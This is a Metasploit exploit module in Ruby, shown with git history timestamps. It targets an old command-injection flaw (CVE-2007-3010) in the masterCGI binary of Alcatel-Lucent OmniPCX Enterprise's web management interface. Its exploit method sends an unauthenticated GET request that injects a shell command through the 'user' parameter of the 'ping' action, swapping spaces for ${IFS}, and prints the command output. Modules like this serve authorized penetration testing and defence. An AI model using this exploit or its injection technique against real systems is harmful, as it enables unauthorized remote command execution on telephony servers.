Files
metasploit-gs/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
T

83 lines
2.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ManualRanking # Only interactive single commands supported
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
Communication Server 7.1 and earlier. The Unified Maintenance Tool
contains a 'masterCGI' binary which allows an unauthenticated attacker
2017-08-28 20:17:58 -04:00
to execute arbitrary commands by specifying shell metacharaters as the
2013-08-30 16:28:54 -05:00
'user' within the 'ping' action to obtain 'httpd' user access. This
module only supports command line payloads, as the httpd process kills
the reverse/bind shell spawn after the HTTP 200 OK response.
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'aushack' ],
2013-08-30 16:28:54 -05:00
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '40521' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '25694' ],
[ 'CVE', '2007-3010' ],
[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 09 2007'))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def exploit
connect
2013-08-30 16:28:54 -05:00
cmd = payload.encoded.gsub(" ", '${IFS}')
req =
"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
"Host: #{rhost}\r\n\r\n"
2013-08-30 16:28:54 -05:00
print_status("Sending GET request with command line payload...")
sock.put(req)
res = sock.get_once(-1, 5)
2013-08-30 16:28:54 -05:00
if (res =~ /<h5>(.*)<\/h5>/smi)
out = $1
print_line(out.gsub(/<h5>|<\/h5>/, ''))
return
end
2013-08-30 16:28:54 -05:00
handler
disconnect
end
end